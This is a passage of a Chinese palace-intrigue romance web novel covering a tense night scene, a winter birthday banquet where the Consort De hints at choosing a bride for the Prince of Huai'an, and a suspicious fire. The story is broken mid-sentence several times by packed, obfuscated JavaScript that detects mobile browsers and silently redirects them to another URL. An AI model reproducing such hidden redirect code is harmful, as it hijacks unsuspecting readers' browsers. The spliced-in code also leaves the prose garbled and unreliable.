RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16637541|188073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 套的傀儡戏、细赏过河畔的晚霞,甚至还品鉴了百花园中新培育出的墨兰……种种借口都用尽了,硬是将回府的时辰拖了又拖。 身后两名护卫弓腰驼背,怀中、臂弯甚至颈后都挂满了锦盒绣袋,其中,绫罗绸缎、胭脂香料,各色玩意儿应有尽有,甚至还有一盆名贵兰草。 摇摇欲坠的包裹几乎将他们淹没,汗珠顺着鬓角滑下,洇湿了路遥挺括的侍卫服肩线。 路遥年少时对福安郡主的那一点点隐秘情愫,此刻碎得比琉璃坠地还干脆——只剩下沦为壮劳力的麻木和认命。 还有一点点好奇,薛景珩到底是如何忍受她的? 昭昭目光似有若无地飘向城外方向,心底那根弦绷得紧紧: 求救密语已传出,飞鸽应至……青衣门的人,该到了吧? “夜色已深,露重风凉,怎么还站在这里吹风?” 一道低沉的嗓音自身后响起。 薛景珩缓步走近,黑狐裘大氅上犹带夜露的湿气。 薛景珩停在她身侧,目光却未看她,只一同望向她频频顾盼的方向,语气平淡:“到底是有什么稀罕景致,勾得你不愿回家?” 昭昭指尖的绿梅花一颤,花瓣倏忽坠地。 她迅速敛去眸中那丝不易察觉的焦灼:“你这话说的好没意思,不过是一时贪看这长街的烟火气罢了。” 她抬手,随意指向远处稀疏的灯火,“你瞧,多热闹。” 薛景珩低低“嗯”了一声,也顺着她指尖望去,片刻后,才状似无意地开口,声音在夜风里更显幽邃: “烟火气是热闹。只是,不知你这般流连的,究竟是这满城灯火,”他忽然侧过头,目光如浓雾将她笼住,令她那双瞬间微凝的瞳孔无所遁形,“还是……某个该来……却迟迟未至的人?” 昭昭瑟缩着后退了半步,薛景珩眼底淬着似笑非笑的流光靠近:“你白日里扮作淮安王府的小公子招摇过市时,胆子不是大得很么?” 他温热的呼吸忽然逼近耳畔,惊得她后颈寒毛倒竖,“如今满城都说本王有断袖之癖……” 薛景珩的尾音像带着钩子的羽毛,缓缓剐过她突突直跳的心上。 “我的清白名声……可都毁在你手里了。” 薛景珩垂眸,修长的手指带着薄茧,极其轻柔地拂去她颊边一缕散乱的发丝,声音低沉醇和,平静地问道:“回家吗?” 昭昭猛地抬眼,撞进他那双深不见底的眸子里,试图从神色中分辨出他的心思——却如浩瀚深海般探不到底。 她指尖无意识地蜷缩了一下,舔了舔有些干涩的唇,带着一丝试探和不易察觉的倔强,反问道: “……若我说,还不想回去呢?” 话音落下的瞬间,观星阁的空气仿佛骤然凝固。 路遥如同石雕般肃立,眼观鼻,鼻观心,连呼吸都放轻了。 薛景珩拂开她发丝的手指微微一顿,并未收回,反而顺着她微凉的耳廓,缓缓滑落到她纤细的下颌,指腹带着不容抗拒的力道,轻轻抬起她的脸,迫使昭昭直视自己。 他唇边那抹温和的弧度未变,甚至加深了些许,可那双深邃的眼眸深处,却如同冰封的寒潭骤然裂开一道缝隙,露出底下汹涌的、足以吞噬一切的暗流。 “那我便会找到,是何处,又是何人……让你这般乐不思蜀,不愿回家?” 19. 冬日宴 淮安王府书房,三更梆子刚敲过一轮,烛火在书案上投下摇晃的暗影。 苏怀堂捏起摆在案头显眼处的青梅果,笑眯眯扬眉,意味深长道,“我记得你自幼是不吃酸的?” “我不吃酸?”薛景珩微微诧异苦笑,“不过是她自幼挑剔,既碰不得辣又不喜酸果子,那丫头骄纵,闹得丞相府禁绝此味。 我身侧便也断了酸食供应,年深日久,倒叫人误会了去。” “青梅也是她向青衣门传递求救信息的讯号,”苏怀堂瞧见薛景珩平静的神色,笑意加深,“所以你早就知晓,她刻意借着刺杀重回淮安王府接近你,是有所图谋……” 薛景珩拿起茶盏,轻抿一口,凉意入喉,未作声。 苏怀堂扫了他一眼,语气不善:“你藏得倒深。从头到尾,竟然甘愿成为她手中操纵的棋子。” “婚期定在半月后”,薛景珩忽然截断话头,声调平得像结了冰的湖,“喜宴便用你埋在后山那坛‘千秋醉’……如何?” 苏怀堂默不作声盯着他脖颈间匕首划过的红痕——突然笑出声:“用‘千秋醉’贺你陷入美人心计?有些暴殄天物吧?” 薛景珩顿了顿,低笑一声,“淮安王府的人一路盯着韩硕安排的妙语琴师,所以从她顶替入府那一刻,我便知晓了。” 他指尖轻轻敲了敲案上的梅核,声音极轻,“只是不知道她想要什么。” “……若是我不问,她或许便能待得久一点。” 苏怀堂怔住,随即嗤笑:“情谊让人愚蠢。” 薛景珩笑了笑道,“虽然不知晓她眉间的胎记如何消除了,但是我倒是要感激青衣门,谢他还君明珠,让她重新回到我身边。” 夜风穿堂而过,案上梅核微微滚动,最终停在砚台边缘。 苏怀堂却忽然正色道,“今夜来是有件正事告诉你,我的伤已经恢复了七八成,明天是冬日宴,届时临安城人多嘈杂、防卫松懈,我会趁着夜色启程,秘密返回漠北大营……影子撑不了太久,若是露出破绽暴露行踪,于大事有碍。” 淮安王府今年的冬日宴比往常要更热闹一些,恰逢薛景珩生母华夫人的四十五岁生辰。 卯时三刻,天光未明,王府中庭已悬起百盏琉璃灯,灯火通明,亮如白昼。 王府管家秦叔手持桐油棉布,亲自拭亮居中那盏八宝转珠灯。 灯影摇曳间,映出紫檀屏风上九十九个篆体寿字,金丝线在暗红锦缎上蜿蜒,恍若百条锦鲤贺寿。 “仔细着!”秦叔忽然按住小厮正要触碰屏风的手,“这寿字屏是老太爷随高祖征西时得的战利品,金线里绞着孔雀羽。若是碰掉一根须子,仔细你这猴崽子的皮!” 没多久淮安王府门外,宾客已然络绎不绝。 管家手脚麻利地接过礼盒,接引着诸位前来祝寿的贵客。 “卫将军,赵尚书,里面请!” “诶呦,韩夫人当心脚下,快快有请,我们家夫人早就恭候大驾了。” 围观的百姓越来越多,人群熙熙攘攘,几名小厮抬着一筐铜钱和红绸布包裹的碎银走到门口,笑容满面地高声喊道:“淮安王府给大家添些喜钱,共贺冬日宴和华夫人寿辰!” 话音未落,便见小厮将铜钱和碎银朝人群中撒去,顿时引起一阵沸腾。 “给赏钱了!” 人群中有人激动地喊了一声,围观的百姓立刻蜂拥而上,手脚并用地抢夺四处散落的赏钱。 还有小孩子们一边把抢来的红绸包裹银子藏入怀中,一边对着淮安王府方向胡乱作揖:“多谢淮安王赏赐,祝老太君福寿安康!” 场面虽热闹,但并不混乱,有管家秦叔安排的带刀侍卫在外维持秩序,还特意留了一筐赏钱,专门分发给那些腿脚不便的老人。 薛景珩生母华夫人是飞云堡钱氏旁系的幺女,因天生丽质而名极一时。薛父是个爱慕美色的纨绔子弟,两人一拍即合、干柴烈火,不顾薛老夫人的强烈反对而成婚。 婚后,华夫人育有两子,长子薛景彻俊美聪慧,可惜六岁时因坠马而跛足,自此鲜少出门见客。 次子薛景珩自幼体弱多病,常年药石相伴,虽生于富贵之家,却难享寻常孩童的无忧时光。 一次偶然机会,得遇高僧为他祈福,那大师捻指一算,眉头微蹙,劝解道:“此子根骨非凡,然命格中多劫难,须得远离家宅,潜心修行方可化解。不然,虽富贵加身,却恐难逃短命之祸。” 华夫人虽然不舍幼子,但是薛老夫人却对大师之言深信不疑,而且态度坚决。 华夫人终究是拗不过婆母,也只得咬牙将不到五岁的薛景珩送往深山佛寺休养,十二岁才接回薛府由老夫人亲自教养。 薛父早年间放浪形骸,纵情声色的生活渐渐侵蚀了他的身体,尚未到中年便撒手人寰。 华夫人是个只知消遣享乐的虚荣妇人,长子薛景彻因为身体残疾不愿见人,薛氏一族只能靠着年少的薛景珩和薛老夫人苦苦支撑。 所幸,薛老夫人是将门虎女,既有格局谋算也有霹雳手段,成功压制住蠢蠢欲动的叔伯旁支,使薛家这一脉在风雨中屹立不倒,牢牢把控住族长的正统位置。 华夫人早年因先夫早逝,薛氏地位低微,受过不少冷待和闲气,如今景珩被封亲王,她一时间母以子贵、风头无两,走到哪里都要大讲排场。 老夫人瞧不上华夫人的轻浮嚣张,但顾及到她是景珩生母,于是干脆眼不见为净,在府外薛家老宅开辟了佛堂清修,终日幽居佛堂、闭门不出。 哪怕今日华夫人寿辰,也只是派嬷嬷送来一卷手抄经书作为礼物。 临安城五姓十族的亲贵虽然瞧不上华夫人,但是总要给薛景珩几分面子,这次淮安王府的冬日宴甚至还惊动了二殿下和德妃娘娘亲临。 寿宴被安排在王府的栖凤庭,院中摆放着几座别致的盆景,松柏苍翠被堆作贺寿仙翁的模样,枝头挂着写有祝寿贺词的小红牌。 正堂悬挂一幅绣有“福寿双全”的金匾,两侧是百福图与锦鲤贺寿的绣屏,正中央摆放了一张紫檀雕花寿桌,有百颗红绸包裹的寿桃,十分新奇有趣。 宴席上,佳肴琳琅满目: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16637542|188073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热气腾腾的烤羊炙、晶莹剔透的白玉羹、色泽鲜艳的蟹黄酥,皆散发出诱人的香气;更有那炭火温热的红梅酒,醇香四溢。 屏风后,乐师们拨弄着古琴声,乐曲悠扬婉转。 仆役们忙碌有序,来往宾客络绎不绝,贺礼堆满厅堂,笑语喧阗。 几位宾客的幼子由乳母和小丫鬟们陪着在雪地中追逐嬉戏,小小的身影在雪地里跑得欢快,如同脱缰的小野马,乳母的哄劝和稚子顽皮的笑声不时飘入宴席。 薛景珩正与贺寿的朝臣谈笑,他微微挑起的眉梢,带着不容置疑的坚决,自有上位者的气度高华。 宴席上觥筹交错,宾客间笑语融融,话题不知不觉便转到薛景珩身上。 “皇上病体难愈昏睡不醒,二殿下眼看着要荣登大宝。淮安王与二殿下素来亲厚,既有从龙之功,又年轻英俊,是如今临安城里最炙手可热的人物了。” 沈夫人笑着附和道:“如此才貌双全的少年公子,若是谁家女儿能得此良缘,可谓三生有幸。” “可不是嘛!”永昌侯府王夫人掩唇一笑,话语中带着几分试探,“淮安王尚未娶亲,如今临安城里有女孩的人家,日夜都盼着这天大的喜事儿能砸到自家头上呢。我瞧着今日韩将军的掌上明珠打扮的甚是娇俏,身后又有韩家军和德妃娘娘撑腰,想来淮安王也会中意的。” 韩将军夫人出身窦氏,与德妃娘娘是同宗同源的堂姐妹。 韩夫人捻着帕子轻笑:“不急的,她兄长韩硕的亲事还未议定呢,这个小妮子且还得在家中多留几年!” “况且,”韩夫人故作谦虚道,“小女哪有那般福气,我不过想寻个普通人家,未来夫妇二人能举案齐眉,过些寻常日子就知足了。” 邻座的御史夫人执起团扇掩口道:“姐姐莫要搪塞,谁不知韩公子是要将来尚主的?只待德妃娘娘的云罗九公主再大些,收了玩心……” 话未落,满座皆心照不宣地笑起来,琉璃盏碰出一片叮咚脆响。 今日藏着这层心思的可不止韩夫人一人。 寒凉的冬日,庭院中的积雪映着月光,泛起清冷的银辉。 五姓十族的贵女们为了在冬日宴上展现最美的姿态,竟丝毫不顾寒风彻骨,不少人褪去厚重笨拙的冬衣,在大氅中只以轻薄的单衣罗裙示人,一展娉婷之态。 在这场兵不血刃的宴席中,容貌与风姿便是闺阁女儿家最锋利的武器。 她们以容貌为刀,以才情为刃,以规矩和忍耐为甲胄,争取的不全是一个素未谋面陌生男人的青睐,而是家族利益的世袭罔替,是母族的荣耀。 这些氏族贵女自幼便规行矩步,自出生起就被套进了模子,如同珍贵的盆景,被仔细雕琢过每一分姿态。 她们的母亲、姨母,甚至祖母、曾祖母,从她们识字起便耳提面命,婚姻才是一个五姓十族女子真正的战场,与之相伴的地位、财富与家族的荣耀,才是她们人生最终的胜负手。 她们的母亲曾经也是这样被送上“战场”的,而今,她们将自己亲手雕琢成了新的棋子,厮杀在最前线。 20. 选侧妃 若是出身五姓十族,却一味在感情上失了分寸,那便失了局面。 如同曾经名扬天下的临安第一美人琅琊王氏大小姐——王贞文,自诩美貌贪恋真情,宁愿背弃母族也要下嫁平民书生,可惜遇人不淑,最后三嫁三休夫,被母族遗弃,落得个孤独终老的下场。 这便是她们自幼承袭的规训和道理,一种刻在骨血里的使命。 而今晚薛景珩和淮安王妃的位置,她们志在必得! 再冷的天气,也不能让她们失了仪态,更不能输给旁人一分风华。 几日前,昭昭女扮男装在城南豪掷千金的“趣闻”,各姓贵女们并非不知,只是……只要事情不翻到明面上,彼此便可以心照不宣地假装不知。 管“他”是男宠还是娇客,私下的风流韵事左不过是一曲闲歌,闲暇时听着热闹罢了。 氏族联姻结得是两姓同盟,事关家族荣耀千秋万代,至于儿女情长……不过是闲时锦上添花的珠花——好看,却不值得付出真心。 若婚后来两人实在合不来,大不了这厢开府纳俊才,那厢别院藏娇客,两株凌霄各攀朱墙罢了。 这在五姓十族中也不是什么新鲜事儿。 德妃娘娘是二皇子生母,虽年逾四十,但保养得宜,一举一动皆雍容华贵。 德妃从前被盛宠的言贵妃压着,一向低调简朴惯了。 如今二皇子得势,沈皇后无子傍身、幽居长安殿礼佛,后宫以德妃娘娘为尊,外庭进献的珍宝都请德妃先挑选,始知娘娘其实喜好奢华。 德妃娘娘端坐于主位,一袭暗红绣金凤的长袍,裙摆上点缀着缠枝莲纹,华贵而庄重。头戴点翠九凤冠,璎珞垂至鬓边,颈间是一串东珠项链,微微晃动间如水光流转。 细长的指尖是新染的蔻丹红,轻抚一柄玉如意,隐约透出母仪天下的威仪。 点翠九凤冠虽然于礼不合,但此刻就连最耿介的御史台都三缄其口,还有谁敢开口得罪未来的太后娘娘。 德妃身侧站着一位妙龄女子,约莫二十岁左右,女子一身湖蓝色烟罗软纱,袖口双面绣着木槿花,肩若削成,腰若约素,肌若凝脂,气若幽兰。 女子容颜虽不夺目,站在一众莺莺燕燕中,却自有一种娴雅端庄之美。 女子偶尔轻启朱唇,与德妃娘娘低声细语,德妃娘娘目光中满是慈爱,似有意为她引荐宾客。 王尚书夫人察言观色,悄声打探道:“德妃娘娘身侧这位姑娘看着脸生,似乎少在官眷中走动,不知是哪家的女儿?” 赵将军夫人抬眼端详后,悄声回道:“应该是陵瑛县主,金陵司徒将军的遗孤。将军殉国后,夫人情伤不能自抑,几个月后抑郁悬梁而终,留下一双年幼的儿女。长女司徒陵瑛被德妃娘娘收为养女,素有贤名,一直养在汉水别苑,不久前刚接回宫中。” 几番推杯换盏后,德妃娘娘率先开口道,“今日冬日宴着实热闹,本宫瞧着各位夫人儿孙绕膝,十分羡慕!可惜本宫膝下福薄,仅得一双儿女,皇儿云州为国事操劳,少得闲暇与我亲近,虽然有九公主云罗……但那是个顽劣性子,半分女儿家的乖巧也没有。” 德妃话音未落,旁边立刻爆发出一片热络地附和笑声,在努力填满空气中的每一寸空隙。 坐席更远一些的朝臣亲眷们也不敢怠慢,纷纷前倾身子,靠向中央德妃的位置,嘴角挂着得体的笑意已示聆听。 紧接着,德妃缓缓抬起下颌,她的眼眸清亮而深邃:“今天冬日宴上见过众卿家的千金,本宫真是欢喜得紧,瞧着府上诸家女儿聪慧伶俐,本宫有意……再收一位义女,平日入宫来陪本宫叙叙话。” 德妃娘娘似笑非笑的眼神略过厅内众人,“不知……”,然后突然转向薛景珩,“景珩,你意下如何呢?” 宫中早有传言,德妃有意为淮安王选妃,如今看来竟似是真的。 薛景珩神思恍惚,正摆弄袖中的碧玉簪,不察德妃娘娘有此一问,有些猝不及防。 华夫人闻言不悦,瞥了瞥嘴,吊起眉梢,万种风情中带着刻薄,小声嘀咕道:“本是我的生辰宴会、我儿子的婚事,却被德妃这个外人抢了风头。” 伺候华夫人的玉嬷嬷赶紧狠掐了一把华夫人的胳膊,疼的她诶呦叫出声来,华夫人不怕德妃,却很听乳母玉嬷嬷的话,赶忙闭了嘴,只是依然不满地轻轻撇了撇嘴角。 德妃娘娘凤眸轻轻扫视过,有意遮掩了眼里的不屑。 一时间官眷中窃窃私语,德妃娘娘的话虽未明示,但是心思却昭然若揭,不少人家已经蠢蠢欲动。 虽然未明示是否淮安王正妃,哪怕是个侧妃也足够尊贵体面,凭借景珩如今的权势,就算要个侍妾,都有大把人家上赶着巴结。 景珩听闻德妃娘娘话音,有些错愕对上二殿下闪躲的视线,垂下眼帘凝眸沉思,只觉得袖中心口的碧玉簪隐隐发烫。 他的下巴微微抬起,嘴唇紧抿成一条线,眼中流露出明显的不悦,正欲拒绝,就看见陵瑛县主正站在德妃娘娘身后,眼神对视间,微不可察地摇了摇头。 薛景珩微怔,极快地收敛了情绪,面容依旧保持着一贯的冷峻,含糊道:“不知哪位贵女有此殊荣,能被德妃娘娘收为义女。” 德妃满意颔首,席上一些年轻女子见状再也坐不住了。 韩将军掌上明珠韩秀宁自幼跟着哥哥韩硕在行伍间长大,也不扭捏,自告奋勇走上前来。 她一身鹅黄色对襟长裙,长发挽起侧云髻,用红宝石珠子做点缀,显得轻快又明朗,“臣女愿入宫陪伴德妃娘娘凤驾,秀宁擅琵琶曲,也愿为景珩殿下……和德妃娘娘排解忧愁。” 韩姑娘所言不虚,一曲龙行吟的琵琶曲弹得荡气回肠,女眷中也不少人赞叹,“韩家姑娘不是小女子做派,倒是爽朗大气,很讨人喜欢。” 薛景珩神情如常,漫不经心地捏着酒杯,指尖转动,偶尔扫了一眼韩姑娘的琵琶,眼中无波无澜,目光深沉且冷淡。 德妃跟韩夫人对视后,原本欣慰的脸色逐渐沉了下来,眼中闪过一抹怒意,细长的护甲轻触着杯缘,眼眸低垂饮下半杯甜酒,掩饰住眼中的情绪。 随后王尚书幺妹也不甘示弱,七步间脱口而出一首临江仙贺寿词,再配上一手精妙的潇洒草书,赢得阵阵喝彩。 《临江仙·贺寿》 四十五秋云外过,庭前玉树初成。 琼筵开处晓风清。蟠桃仙露种,云髻向春生。 犹记裁笺灯影下,更怀陶母截发情。 芝兰室暖月长明。从今松柏岁,长伴凤凰声。 “不愧是书香门第,辞藻生香,书法风流,妙极!”华夫人瞧着十分满意。 最后一个上场献艺的是赵校尉的长女,赵清蘅。 赵清蘅带着长长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16637543|188073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的白纱遮住面容,向德妃娘娘折腰下拜,柔声开口:“臣女资质粗鄙,愿为大家献舞一曲,一愿德妃娘娘祥康金安,二愿华夫人长乐无极,三愿淮安王殿下平安千岁。” 德妃娘娘满意地颔首,轻垂眼眸,一旁立侍的冯嬷嬷会意抚掌,一排早已准备好的乐师立即上前。 随着轻柔的笛音,悠长的水袖在赵清蘅的掌上绽开,她面纱覆面,只露出一双眼眸,盈盈若秋水,便吸引了所有人的目光,连宴上的喧嚣都在这一刻安静了下来。 那些投向她的目光里,有惊叹,有贪婪,更有些许鄙夷——赵校尉官职不高、为人窝囊,何德何能,生出的女儿竟然如此婀娜娇俏,似是一段月下风流的惊鸿影。 赵清蘅舞技卓绝、步伐轻盈,轻移腾挪间步步生花,柔美的腰肢轻折,仿若九天仙子降凡尘。 当乐曲渐至尾声,她缓缓转身,似不经意间一步踏错,薄纱轻扬而落。 德妃娘娘唇角微扬,殿中一片惊愕,目光尽数落在她面上,不少人露出错愕的表情——赵清蘅的容貌竟然酷似从前歌舞司已故的萧音姑姑! 路遥的目光霎时凝住,握着酒杯的手微微一抖,酒液溅落在桌案上。记忆如潮水般涌来,他不禁抬头望向薛景珩。 像!实在是太像萧音姐姐了! 而赵清蘅见众人神色异样,含羞带怯退开一步,仿佛受惊的小鹿。眼神却是不经意地望向景珩,女儿家心事无所遁形。 场中瞬间陷入短暂的寂静,二皇子也转头看向薛景珩,试图从他的表情中窥探些什么。 众所周知,歌舞司的萧音与薛景珩交情匪浅,若不是因为五年前,萧音姑姑失足落水早逝,恐怕有机会成为一对佳偶。 薛景珩慵懒地倚在椅背上,把玩碧玉簪的手略微一顿,眼中浮现一抹惊讶,但这情绪只一瞬便被掩盖。 他指尖缓缓摩挲着碧玉簪的动作不急不缓,仿佛是在漫不经心地打发时间,丝毫没有将赵清蘅放在眼里,方才的异样只是错觉。 半晌,薛景珩才微微侧头,对上二皇子审视的眼神,“德妃娘娘安排的歌舞果然有趣。”语气淡然,带着一丝不经意的调侃,仿佛方才的变故全然未曾入他的心。 赵清蘅察觉到薛景珩的冷静反应,眼中掠过一丝意外,却很快低眉敛目,假装手忙脚乱地重新覆上面纱。 二殿下怜香惜玉地解围道,“其余倒也罢了,只是景珩觉不觉得这水袖舞似曾相识?赵姑娘舞技高妙,颇有些原来宫里歌舞司萧姑娘的模样?” 路遥腹诽道:“真是难为二殿下,不知从哪里搜罗出的美人,天下竟然有如此神态神似的两个人,只是眼睛不像……” 似乎不料二殿下有此一问,薛景珩回忆思索道:“形似而言,难得精髓。” 赵清蘅闻言强压心中失落,恭顺地低眉敛目:“萧姑娘乃天下第一舞姬,技法自然上上成,清衡天资粗鄙,让诸位见笑了……” 她的话还没说完,只见淮安王府的侍卫匆匆赶来,“王爷,不好了,暖玉阁走水了!” 薛景珩手中的碧玉簪滑落在地,碎裂的声音清脆,冷冽的声音带着他不自知的紧张,“她人呢?” 二皇子闻言,审视的目光寸寸刮过薛景珩的每一分神色变动。 他眼尾缓缓一压,似嗅见血气的猎鹰——端庄的笑容还挂在唇角,可眼底早已铺开一片沉沉的疑云。 21. 锁春娇 暖玉阁因走水遍地狼藉,到处弥漫着刺鼻的焦糊味,梁柱烧得乌黑,浓烟四起,燃烧的木料发出刺耳的爆裂声。 偶尔有炭化的木梁“咔嚓”一声折断,轰然倒地,扬起漫天的灰烬和尘埃。 “景珩,不可——!” 路遥的话音未落,下一瞬,薛景珩的身影已经跃入火光中。 他僵了一瞬,随即深吸一口气,追着薛景珩的步伐进入暖玉阁中。 鼻间尽是呛人的烟尘,火舌疯狂翻卷,一股股热浪扑面而来。 薛景珩站在卧房的位置,目光透过翻涌的火光,死死盯在言靖雪原本的卧榻之上,却是空无一人。 他的指尖不住颤抖,热气烘得骨节生疼,连呼吸都带着针刺的灼痛。 路遥摸索着闯进卧房,被空气中弥漫的烟尘呛得连连咳嗽道:“景珩,护卫已经搜寻过整个暖玉阁,都没有福安郡主的踪迹,还有她的贴身婢女夏蝉也不见了,两人仿佛凭空消失了……” 外面众人见状赶忙泼水救火,夜色沉沉,火势才渐渐平息。 薛景珩立在断壁残垣前,眼神幽深如寒潭,薄唇微抿,脸色苍白得仿若透明。 微弱的火光映照着他略显削瘦的身形,薛景珩止不住连咳了几声,随即身体猛地一震,抑制不住地弯下腰去。 “咳——”一口腥甜涌上喉咙,来不及克制,血珠溅落在他掩唇的指缝间,鲜艳得刺目。 他手指悄然收紧,动作极快地抬起衣袖掩住唇角,指腹轻轻一抹,袖摆瞬间染上一抹暗红,然后故作无事地扫过一脸担忧的路遥,淡淡开口:“愣着瞧我做什么!继续查。” 很快,有侍卫查明缘由,附耳向路遥回禀,路遥闻言神色凝重,快步走到薛景珩身侧解释道: “起火的地方是暖玉阁东偏殿,存放着待嫁的衣料,烛台滑倒,火苗便顺着房中堆叠的锦帛烧起,事发时众人聚集在前厅贺寿,所以无人察觉酿成大火……郡主许是趁着火场混乱,看守都忙于救火,趁机逃了出去,但……护卫方才察看了地面。” 薛景珩眸光微冷,语气低沉:“说。” 路遥看了看周围人群,压低了声音,“火势蔓延得太快,远超寻常布帛燃烧的速度。护卫在庭院石板缝隙里发现了油渍残留,还有未被烧净的痕迹……怀疑是有人提前在地上泼了油……故意纵火引发混乱,趁机带走了郡主。” 薛景珩目光锐利如刀:“倒是好算计……” 护卫抬来了负责看守暖玉阁的暗卫尸体,只见年轻健壮的暗卫面色红润,脸色平静祥和,应该是在未察觉时,被对方悄无声息地了结。 薛景珩面色冷峻,一言不发蹲下身,仔细打量着。发现其脑后发丝中藏着一枚隐蔽的银针,在雪色中折射出青色的微光。 路遥忍不住惊呼出声:“是百晓生暗器谱上排名第三的青芒!针长三寸,细如茶梗,通体由暗青寒铁打磨,无尾无穗,唯针尖一点锐利至极,见血封喉!难怪暗卫没能察觉通报。” “可是”,路遥颦眉道,“‘青芒’曾是上官朔风十六岁名扬天下的绝技,随他的病逝而成绝响。谁知风流云散十余载后,‘青芒’竟再现江湖……可、到底是谁带走了小郡主?” 德妃娘娘和二殿下听闻走水,便携众人来寻。 华夫人被玉嬷嬷搀扶着,站在德妃娘娘身后,目光紧紧锁定着从暖玉阁火场中踉跄走出的薛景珩,她的嘴唇颤抖,双手紧紧抓住衣襟,指尖泛白。 终是忍不住,失态地扑过去。“我的儿,你没事儿吧?” 景珩显然察觉到了华夫人的担忧,他迟疑着抬起手,似乎不习惯母子间过分的亲昵,最后轻轻拍了拍她颤抖的肩膀,嘴角带着一抹安抚的笑容,“母亲放心吧,景珩没事。” 华夫人的泪水如决堤般滚落,化掉浓重的妆粉,滑过她盛装下疲惫略显苍老的面庞坠落在地。她的嘴唇颤抖着,连声音都透着不安,“我……我真怕你……跟你父亲和哥哥一样……母亲只有你了……” “孩儿无恙,惹您担心了,今日多番事情,恐母亲也劳累了,不如早些回房休息”,景珩耐心安抚她,华夫人还是紧紧拽着他的衣袖不撒手。 路遥见状使了个眼色,侍女赶忙上前拉开,“夫人放心,王爷安然无恙呢,倒是您受惊了,奴婢扶您回房歇息下吧。” 玉嬷嬷上前强行松开了华夫人拉扯的手,眼神看向薛景珩透出几分会意,转头哄劝华夫人,“二公子吉人自有天相,我们在此倒是妨碍他们做事了,今日冬日宴您也疲累了,不若老奴陪您回房歇息一会吧。” 华夫人闻言方才一步三回头地回房。 直到此刻,德妃娘娘才远远走过来,满脸担忧似乎溢于言表,“景珩没受伤吧?怎么会突然走水,暖玉阁日常住着什么人、存放着什么东西,可检查过有无大碍?” 二殿□□贴地搀扶着德妃娘娘,颔首认同,“母妃说的有理”,抬眸看向薛景珩:“损失些金银细软倒是小事,若有小人趁乱浑水摸鱼,处置不当恐有后患。” 随即给随行亲卫递了个眼色,侍卫见状就要直入暖玉阁搜查。 景珩面色不虞,抬眸看向路遥。 路遥心领神会开口道,“德妃娘娘心怀慈善,想要帮我们王爷料理处置原是好意”,他只身持剑挡在入门处,话音一转,“只是今日府上宾客众多,恐有那不体谅娘娘心性的宵小之徒,误以为二殿下和淮安王有了嫌隙,想趁此机会插手淮安王府的家事。如果再添油加醋地大肆宣扬出去,恐对二殿下的贤名有损。不若让王爷自行处置吧。” 德妃娘娘闻言脸色阴沉,张了张口还想辩驳,忽然听见一个女子轻柔的咳声,隔着水榭传来,声音透着一股淡淡的虚弱与无力,在双方剑拔弩张的当下,打破了僵持的安静。 众人转身看见,一个白衣胜雪的绝色女子正被人搀扶着,从水榭方向缓步走来。女子容貌极盛,肌肤胜雪,一双眼眸含情脉脉,乌黑的青丝如墨瀑般倾泻而下,似乎将天地间的美丽尽收其中。 她外衣上沾染了不少黑灰,面颊上有轻微擦伤,姿态狼狈却掩不住容色倾城,相较于一舞倾人国赵清蘅的清丽婉约,更是艳丽三分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16637544|188073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是女子手臂伤的极重,因被火焰灼伤露出一截发黑的伤口,女子缓缓走向德妃娘娘,姗姗跪拜,“暖玉阁十一娘,见过各位贵人。” 一旁伺候她的小丫头秋燕忍不住上前替主子解释道:“王爷,十一娘因顾念着你在前厅的情形,又不敢出门打扰,在睡梦中心绪不宁,连打翻了暖炉也没有留意……待奴婢们发现时,暖玉阁已经火光冲天了。” 秋燕继续朝着薛景珩哭诉:“……十一娘烧伤了手臂,还想瞒着不告诉您。”说着上前掀开女人的手臂衣衫,只见白嫩的肌肤上满是灰尘,伤口处已经红肿化脓,惹得众人怜爱不已。 “谁准你跟王爷告状的,哪里学来的规矩!”十一娘颦眉怒斥小丫头。 美人连动怒都是容色倾城,更何况此刻眼中泪光盈盈,声音婉转,俯身下拜的时候,露出一段雪白柔嫩的脖颈,连见惯美色三千的二殿下都忍不住将目光在她身上多停驻几瞬。 “公子,十一娘不是有意的。”女人噙着眼泪,抽噎着开口。 